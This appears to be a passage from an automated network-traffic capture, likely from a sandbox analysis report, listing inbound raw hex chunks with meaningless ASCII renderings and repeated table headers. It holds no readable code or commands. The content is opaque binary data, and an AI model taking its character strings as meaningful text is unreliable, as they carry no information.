f8 d9 b9 ab 4d d9 c4 61 98 2c 80 2e 26 45 e5 e6 f1 b7 b5 4d 61 dd 32 23 4e 92 48 c6 22 41 31 93 54 34 f3 c4 79 5b 4d 21 
df 72 a7 cf 87 25 e7 4c 25 45 58 c9 48 c5 b6 83 77 cc 54 5e ee a5 95 be 9d 15 87 93 1c 52 03 3a 19 23 3c 08 0c 55 bf 4a 
3f 76 ef 8d 75 e7 5e 04 07 22 81 8f a2 c3 9a 95 76 cd 0a 02 57 2d 2e bd 95 dd 3d 51 8e 3d 4c bb 78 c2 95 0c 51 92 65 c9 
50 02 b2 d3 e6 47 1c 5e 57 91 57 c5 f7 b4 9f d5 db 4f fa 56 36 1a 6d e8 cf b9 e4 64 86 88 5b 73 b2 2a bd cd 25 a9 c9 1c 
77 7c a8 7e 5c 69 e5 ba ed 4e fa 47 35 b0 32 96 4d 8f 
Data Ascii: E820x(VWAW*W1O_+xhe$aBF78nL(e;Ma,.&EMa2#NH"A1T4y[M!r%L%EXHwT^R:#<UJ?vu^"vW-.=Q
=LxQePG^WWOV6md[s*%w|~\iNG52M

2022-07-01 09:01:57 UTC 6848 IN Data Raw: 31 9c ac b6 26 57 c6 29 d3 52 00 5b 18 ab a4 71 84 f7 35 1f 9f b2 6e b0 c5 26 66 7c 65 a3 36 dc 43 02 6a 7b 
a5 b4 e6 6c fc 7d c6 04 c2 c4 6f 9d 3c 58 e5 8f 60 06 21 61 56 ff 00 32 fb 7e c6 b6 e4 db c2 40 64 0a c0 9f cc 64 e8 5e 8c 
97 ec 67 51 13 b5 c9 bf a8 53 5d eb d4 33 e0 66 ed f2 cb 22 bc 2c aa f2 a2 0e 1c 4f 3b 7b f6 2f 9b 58 ee db 56 44 99 32 
65 63 41 8d 1c f7 f5 52 51 38 43 1f 15 11 da aa d6 c8 8c a9 77 71 3e 63 e9 0f ae 77 29 33 65 8a 29 17 a7 24 2b d3 6f 67 
1f e2 69 03 ec d9 18 98 f1 e6 cf 22 32 4d 42 a2 fa b9 af f7 3c 7a b6 df 68 3c b8 dc 15 8d c8 65 c6 d9 79 9a e7 dc 68 ea 1d 
ec 48 fe fa e9 fe 91 dc 63 cf 49 e4 cb 54 44 e9 97 99 89 26 a5 7b d2 77 b9 7d ef 7f 5a 22 8d f7 5d ca 0d df 21 53 1a 39 51 
a1 88 13 c5 d0 1b a0 97 8f 37 cc 4b da df 2f c7 
Data Ascii: 1&W)R[q5n&f|e6Cj{l}o<X`!aV2~@dd^gQS]3f",O;{/XVD2ecARQ8Cwq>cw)3e)$+ogi"2MB<zh<eyhHcITD&{w
}Z"]!S9Q7K/

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6864 IN Data Raw: 9c 10 6e 17 d0 63 fd ba ba a8 ec a2 c6 3e 3e 34 52 63 e2 42 7f 2f 1d 6d 8d 7c 4d de 64 b9 9b e6 78 6d f0 78 
74 06 66 e6 d0 64 74 a4 7e 9c 34 b6 eb 4d 01 f0 db 25 56 dd 06 3d 43 b6 6d aa 98 b0 ca d9 99 20 73 24 0a 58 54 fb 59 
17 e5 a5 cf ef 3c 89 af 57 13 7c dd d1 88 e9 60 63 da 2f 56 02 69 08 3c d7 18 16 e4 89 fc 7e ee 8c 21 2a 72 9b 95 4f 06 
93 94 b6 5d e5 4e 77 fb 95 38 de e4 7f 6d 36 d9 a1 9b 26 3f cc 88 51 83 83 64 ab c8 c4 03 e2 b9 6c 7f 32 37 c2 da 5b ea 
3d cb 22 27 1b 60 c4 9e 72 56 b5 55 a0 27 f9 8f 91 5b 2e 4f 73 4e 60 31 6d 10 89 a6 cc 96 52 12 da c9 c0 5a a6 de af 48 
05 f8 7a 9f c4 d3 09 ff 00 31 33 ab 63 b2 b4 74 1c 7d be f2 b2 f8 b4 16 95 16 72 ea b9 47 dc cf 24 e6 5f a7 45 40 5e d6 e3 
ec d7 36 da fa db 7e 55 92 d2 36 02 8c 18 fb 7b d6 f2 f2 
Data Ascii: nc>>4RcB/m|Mdxmxtfdt~4M%V=Cm s$XTY<W|`c/Vi<~!*rO]Nw8m6&?Qdl27[="'`rVU'[.OsN`1mRZHz13ct}r
G$_E@^6~U6{

2022-07-01 09:01:57 UTC 6872 IN Data Raw: be 9a b7 ab 32 31 16 1c 74 c6 62 5a 88 8c c0 21 b8 f7 5c 7e 27 27 7b 97 4f c5 e6 a2 f2 84 60 d6 53 93 61 89 
8f f3 7d af cb ce a6 6f 29 dd 08 36 c4 9c 7d e7 fc ba 67 0e 24 3b 56 2c 10 cd 22 c4 dd 31 db db c7 9b bb de f1 69 76 46 ff 
00 b7 6d ca 49 49 72 e5 ad 40 5e 0a 7c 3c be 2f d4 d2 3d ef 78 96 06 a4 f0 e3 99 89 25 f8 b4 87 fa cc 9f 2f ee 69 6c 79 7b 
ae fd 13 41 1b 15 58 94 b5 88 a6 a5 3b cc ca a2 d5 58 93 fa 2e ab b7 f9 7b ce 43 39 cb 33 76 e6 c3 f0 fe d5 29 fd 1e dd 
19 a5 97 9b c2 bd d1 f0 d5 1e 5f ac 77 56 0b 1c 10 45 86 1e 95 62 43 48 ab e6 b1 fc 76 f8 2d d2 7c 7c e3 0e 4a 6e 19 b9 
86 69 96 e0 14 ab 49 50 c2 d6 f1 46 90 bb 7f 93 dc d2 14 c3 18 c9 f9 9c c9 2f 62 2a 89 d8 08 f3 bf 96 ef 0f 9b 5f 7e 6e 49 
71 dc 42 40 79 ad 63 5e d5 a7 85 5b c3 a7 53 65 
Data Ascii: 21tbZ!\~''{O`Sa}o)6}g$;V,"1ivFmIIr@^|</=x%/ily{AX;X.{C93v)_wVEbCHv-||JniIPF/b*_~nIqB@yc^[Se

2022-07-01 09:01:57 UTC 6888 IN Data Raw: 6f a7 87 9e 83 2f 24 65 8d ce 3c 71 ed ae 53 8d bc cc ac 26 b8 91 1e 3d 95 93 88 01 5a ee 9a 84 55 65 b5 59 
bc da ab f4 f6 ef fe b9 95 24 2f 12 41 09 42 e3 a7 c7 9b 80 86 3e a3 69 56 f7 b3 43 36 d7 8f 9d 1c 67 15 cc cd 0b a3 1a 3b 
f2 21 bd d3 ed 69 1e d1 0b cb 3d d8 ac d1 08 08 49 28 68 4f 82 ff 00 0d af e6 7d 6c ee a1 8a 78 7c c2 02 3e 3a 30 d5 53 
c3 d3 f4 4a aa 1b 12 07 f6 57 55 cf 85 33 8c 58 93 b3 c1 2c 06 f8 26 8c 51 85 47 cc f3 24 ed 22 fe 25 da 96 83 60 9f 6c cb 
39 73 66 99 8c c5 9a aa cc a5 b8 fc bb d9 7b af e6 b9 2c d3 dd ba 5e ba ac 70 49 40 82 ea ba d4 37 84 3f 54 15 d1 0f 87 
8d 9b 7a fe 1e 44 66 d0 55 39 09 ef db c2 c6 66 b7 58 03 71 2a 9c 18 e9 8e 0d ca bd 0b f0 d4 8e 5d 6f db c4 f3 00 69 4e 
ed b2 27 a8 63 75 74 0d 38 5a ac a2 8a 6f 03 b8 6e 
Data Ascii: o/$e<qS&=ZUeY$/AB>iVC6g;!i=I(hO}lx|>:0SJWU3X,&QG$"%`l9sf{,^pI@7?TzDfU9fXq*]oiN'cut8Zon

2022-07-01 09:01:57 UTC 6904 IN Data Raw: b2 c3 d9 c2 bf a7 e9 3a ea 33 ed 5b 74 1b 7b 65 4d 19 64 81 ec 95 a1 76 95 05 3f 11 a5 c0 ce 54 96 26 8e ef 
99 12 cb dd e7 8e 6d 4a ef de 91 56 8d 33 f0 26 8c e3 4a 68 af 1d 42 12 07 72 68 1e f9 a0 93 ff 00 52 26 d6 93 89 54 de 
51 60 41 6b af 36 38 fb 3e cf b3 4c 2c a9 a2 f0 3e 8f 77 aa a6 31 5e 37 ad bd 82 a3 5a f3 62 0d 01 2d da 0f 03 f4 6b 1c 8d 
b2 6c 09 ce 34 e6 82 a1 89 43 c5 aa 38 59 ee e9 aa 2f 57 19 12 34 ea 48 5d 54 25 39 d9 ab 45 b5 7c fa 13 3a a9 57 53 
90 24 7f 65 1d 39 94 83 d8 29 5e db 9c ad 4c 60 39 87 fc 74 76 df 93 16 4b 11 2d 23 b5 a8 2a 69 5f 87 4f b6 af 44 67 4f 
2a 19 3a 31 af 11 20 67 17 a9 e6 44 49 63 89 79 1b 4e a3 ff 00 6d 97 6d c9 4e 75 79 04 94 68 a4 52 14 a7 2b 5d 7b 3b 
49 2a 37 91 1b 42 79 a1 7c c2 5c 95 d5 8a f3 61 d4 dc de 1e 
Data Ascii: :3[t{eMdv?T&mJV3&JhBrhR&TQ`Ak68>L,>w1^7Zb-kl4C8Y/W4H]T%9E|:WS$e9)^L`9tvK-#*i_ODgO*:1 gDI
cyNmmNuyhR+]{;I*7By|\a

2022-07-01 09:01:57 UTC 6911 IN Data Raw: b2 39 7c 3f 6f 58 e4 ce f9 12 a4 ab 2d b0 f0 06 33 c6 8c 7b 82 e5 fe 6f 9b 4a 7f f9 0c 78 ac 65 13 c8 86 26 0b 
25 16 aa 41 f0 37 8b 99 d7 cb dc d7 04 79 57 95 46 5d eb 0e da be 21 c0 bf 6f 03 5a 99 f1 33 99 f2 9a 35 fc c2 32 a8 a8 
a5 69 cc bc bf c4 4b 39 5a ed 13 95 bb a6 34 0d 2b 48 b6 d6 aa aa bc 1a bc b7 5e 9c bc 9e ef 7b 5a 7f d6 f6 89 8b e4 a9 
05 a5 a1 64 75 e2 2d 27 f0 e1 5f c3 5f 33 77 19 7b da f3 7b de 51 a1 82 38 21 11 4c d2 5a b2 00 0c 6a 47 37 42 4f 8b f1 
63 d1 fc b6 67 55 64 6b 5f bd dd d3 9b aa 82 00 07 10 4f ae a8 1f 70 8d b6 f6 93 26 bc 40 58 c5 2b 56 23 a8 8d ee fd ed 
45 66 fa 96 6c 75 e9 e5 a4 53 c0 ef c1 56 8c 80 57 bf 78 f9 88 cb dc f0 68 9d c3 09 30 76 f4 59 99 03 29 51 32 c5 5a bd df 
51 e5 e6 5f e5 ea 76 1c 59 f3 9a 68 30 dc e3 63 31 
Data Ascii: 9|?oX-3{oJxe&%A7yWF]!oZ352iK9Z4+H^{Zdu-'__3w{{Q8!LZjG7BOcgUdk_Op&@X+V#EfluSVWx
h0vY)Q2ZQ_vYh0c1

2022-07-01 09:01:57 UTC 6927 IN Data Raw: ee 3b 67 4e b6 e1 85 8b 16 52 5d af 56 a3 96 25 1d be 4a de fd 36 fe 12 7d bd 6a 6e 19 02 00 42 92 da b1 66 
e9 cb c1 d7 d7 dc a4 94 12 45 58 6d 43 17 78 c0 49 52 30 81 c5 59 1d 89 62 2b f8 97 2f 9f df d3 5c 2d 87 1b 06 49 9b 1d 
44 2d 41 57 e3 42 29 fa 6d e4 d4 b7 5f 1b 61 55 c6 c2 88 17 51 49 32 5c 32 96 3d b6 aa 55 7e 5a 78 6f fb ba c3 d4 be a1 
6c 5d bd b1 71 e6 8e 6c 99 14 a3 ac 7d 88 18 54 c9 77 f1 5d a3 fb ba f3 66 09 65 93 08 8b 2c 72 b6 99 78 32 ea 7f ff 00 
25 32 b7 b8 1c 48 a0 fd 45 eb b9 30 9e 5c 3d b1 23 92 58 f9 5b 2d a8 58 b5 79 fa 4a c2 ce 9a fe 1d df 6b 50 d9 33 4d 3c 
66 7c 86 05 8f 78 0f 65 4d 7b 2b 64 7e 5f 0f ed 68 59 54 06 58 c9 ab af 16 fe ed da 06 66 19 0e 5a 36 2b 71 1c 35 ea 76 
7b 38 60 00 20 b7 89 ed cc df 4f 66 a5 cb b5 ec 7e aa c5 
Data Ascii: ;gNR]V%J6}jnBfEXmCxIR0Yb+/\-ID-AWB)m_aUQI2\2=U~Zxol]ql}Tw]fe,rx2%2HE0\=#X[-XyJkP3M<f|xeM
{+d~_hYTXfZ6+q5v{8` Of~

2022-07-01 09:01:57 UTC 6943 IN Data Raw: d8 df 0f 7f 55 ef bb 6d ad 2f 47 22 af 12 0b cb b2 38 62 de 1e 85 a9 1b 33 7f 9a cb 0f bb ae 74 dd 47 38 70 d9 
a2 6a b8 e3 e5 c8 bf 17 b5 d7 cf ed 54 ac 85 97 f3 39 18 75 28 ad b3 6d db 6e 62 3c f1 33 fd 13 31 24 02 de 15 b1 b9 f9 ff 
00 87 ac 91 f2 71 26 19 52 46 f2 31 50 01 b8 06 55 03 95 56 39 6e 5f d6 d3 17 cb da b7 48 e1 96 39 55 62 59 49 09 31 
0a 78 0b 6f 6b 3a 9c 9e 4e a3 75 1d b4 49 c5 db a4 c5 55 67 92 58 94 9e 4e 66 e2 7b 15 1e ef 0f c3 a2 4d b7 63 29 57 6b 
07 5b b3 39 56 46 f7 79 e8 eb 32 3d 9a c5 83 5e ed 8f 35 4c b3 63 41 98 e6 79 25 63 92 b7 3b 18 fe 60 2a 3b bf f6 e5 ba 
9c ba 5a 1b 17 72 63 8d 19 6e 9d 7b cc 8c 3f 51 2e 6f b5 a6 b9 db 5f 5a 46 9c 45 22 1a 8b 1d 4b 76 79 59 5a ee 5d 1b b4 
60 47 34 c5 dc 8b d8 81 c2 9c 0f 7b dd b7 50 db 70 14 
Data Ascii: Um/G"8b3tG8pjT9u(mnb<31$q&RF1PUV9n_H9UbYI1xok:NuIUgXNf{Mc)Wk[9VFy2=^5LcAy%c;`*;Zrcn{?Q.o
_ZFE"KvyYZ]`G4{Pp

2022-07-01 09:01:57 UTC 6951 IN Data Raw: c1 e2 a0 a2 d8 2b d8 2b 68 f2 dd a5 f9 bb 64 d8 91 24 b3 91 d1 91 aa a9 75 c6 a4 55 df cb 77 9f 42 64 42 98 
d2 d1 78 d3 da a4 8f bb ad e8 f6 f1 13 91 3e 65 ef 8d f9 a8 40 d8 0b 1d 29 f9 da f7 0d f1 63 79 0a 44 83 88 2e 6d a5 7d df 
c4 66 d5 2e c5 8c 76 67 26 6c b1 39 6e 05 22 52 e5 bf 6f f6 35 03 05 a9 22 b6 42 b1 8a a2 a1 5b 8d 3e 26 d5 ee d1 bc e1 
cb 6c 58 48 4d 05 6d 8f b4 01 db fe 2b b4 9e f5 24 11 e2 35 8f d0 aa b8 af c7 cf 52 2c 4d cf 1a b7 db 27 89 1e fc 73 2b 4a 
2e 6b 1d 4a 1a a8 ee aa bb 3f 33 2f e1 f3 7c c4 59 63 f8 5f e6 c7 89 9b 1f ff 00 ad 61 88 a3 aa 39 62 28 1a de 78 fd ee 4e 
6e 4f 7b 53 72 36 56 5c 74 fc ba a1 11 5e 5c b9 47 08 39 a2 75 69 55 21 fc 5f c3 f9 97 5f dd d6 89 7d 45 9b b7 15 87 35 
12 45 08 af 12 70 62 d5 54 46 9a 49 12 49 5a 1b 
Data Ascii: ++hd$uUwBdBx>e@)cyD.m}f.vg&l9n"Ro5"B[>&lXHMm+$5R,M's+J.kJ?3/|Yc_a9b(xNnO{Sr6V\t^\G9uiU!_
_}E5EpbTFIIZ

2022-07-01 09:01:57 UTC 6967 IN Data Raw: 81 79 75 b7 17 62 5c 8c d1 81 00 63 1c 25 43 96 1c 79 69 d4 bb e2 d7 52 cb 81 e6 54 8f f1 5c 2f 9a d0 a4 8e 
4e ef bc be 4d 24 db 30 22 da 61 38 f9 73 44 b9 52 12 f3 35 4d 6e ad 4a fc 3a 5f 7b 1c ce a1 d6 d1 86 51 89 93 f2 c2 b3 2f 
7f da ee 75 50 48 57 50 0f 1e df 52 fb 34 6c 98 4b 14 67 a4 52 04 8d 6a cb 40 14 2f c5 a9 fd df 3b 17 72 c8 8a 08 32 15 e3
01 6e 2a 39 47 1e ce 4f 1b 69 a9 da 76 cc 95 55 9e 69 9a 39 98 d4 f5 39 5e 9e ef 79 97 48 33 b6 98 b1 f3 9a 3c 74 48 61 
8e 96 30 05 98 fb 6f b2 bd ef 0a f8 b5 92 36 f3 6d 94 ac b2 96 40 b7 b2 63 8f 37 df 7f 65 f1 f8 e8 8b c6 eb d8 38 91 45 6f 
38 d9 d3 a1 9f 06 cc 89 63 8e 81 c8 e1 1a 93 46 21 db f8 9a 06 30 90 41 04 ab 29 97 2a 52 2f 58 e2 2a d5 1d d2 bc d7 74 
a3 f3 72 eb c9 72 46 12 52 33 24 b5 04 b0 35 53 
Data Ascii: yub\c%CyiRT\/NM$0"a8sDR5MnJ:_{Q/uPHWPR4lKgRj@/;r2n*9GOivUi99^yH3<tHa0o6m@c7e8Eo8cF!0A)*R
/X*trrFR3$5S

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6983 IN Data Raw: 46 c9 c9 b7 0f 5d 35 cf c9 c6 96 09 21 c8 81 96 61 c5 5d 48 a0 3f 49 5f 2b ae 97 c5 89 29 84 3c 23 a9 09 60 19 
90 f1 5a fb 24 5e f2 68 dc ad b8 e0 3a 2e 40 26 19 d5 4a 3f 79 48 22 e8 d8 37 79 3e 1d 3b 93 0e 21 1a e1 6d cc 15 58 ac 
92 58 49 76 36 24 76 79 fa 77 34 b2 b4 7f dc d5 5b 74 11 82 a8 3c fd 47 d1 8f f1 3e 3a 04 6a a2 3c 80 b6 3e ad 32 a9 ac 
ad 83 36 3a c8 91 33 c2 a4 06 61 c6 da f9 b4 c6 5d ae 4d a7 19 84 f6 32 5e 8c 18 10 69 50 6c 5f fa 9e ee b2 df 3f ed 81 
86 e5 14 15 42 84 9a 91 de 5b f9 5d 7e da 69 16 6e 64 d3 81 7f 11 4a 9e 1a e5 2f 20 03 a6 c7 5b f7 aa 40 69 14 6a 2d db 
eb aa 3c 77 c9 dc 55 a6 9e 30 1f 81 05 69 cc 0f f9 3d e7 fb 1a db b9 63 e4 c3 80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 
7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 
Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6
X1EDM

2022-07-01 09:01:57 UTC 6991 IN Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 
b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 
2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 
91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 
66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a 
dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf 
c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b 
Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z
)pf({WGb$.8;

2022-07-01 09:01:57 UTC 7007 IN Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d 
ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 
7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 
61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 
7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 
28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 23 31 fe 58 60 c4 2b 70 d7 26 
e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 
Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVu
j_M;#1X`+p&TQX,lW*<X

2022-07-01 09:01:57 UTC 7023 IN Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 
5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 
7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 
4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 
8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 
2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 
6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd 
Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2|1Hxrd_%?tN67xe,,\w\QPn`X~>})|luS!bD@PI,:ny9/W,|m10ogT1'M
77[mP'W|^n(

2022-07-01 09:01:57 UTC 7031 IN Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 
06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 
67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 
57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 
08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 
70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 
47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 
Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv|Xl4UQbo"4{|=_s0$pK|3pXNyV?))_\KGc=*r6

2022-07-01 09:01:57 UTC 7047 IN Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 
8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 
1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 
09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 
ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e 
e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 
30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 
Data Ascii: (FRxux3`qH)Ibz`pCJ*?O`bRuS4bF~x2Z*Apb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<
Vu{)m=06R$KOwn

2022-07-01 09:01:57 UTC 7063 IN Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 
29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 
18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 
65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a 
dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c 
b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 4d 7a ed a1 b1 30 95 25 14 00 8f 
6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 
Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH

2022-07-01 09:01:57 UTC 7071 IN Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 
e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 
5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 
8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 
81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 
4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 
24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 
Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-
iT3>@$tv[ntVf

2022-07-01 09:01:57 UTC 7087 IN Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 
02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 
5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 
81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 
3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 
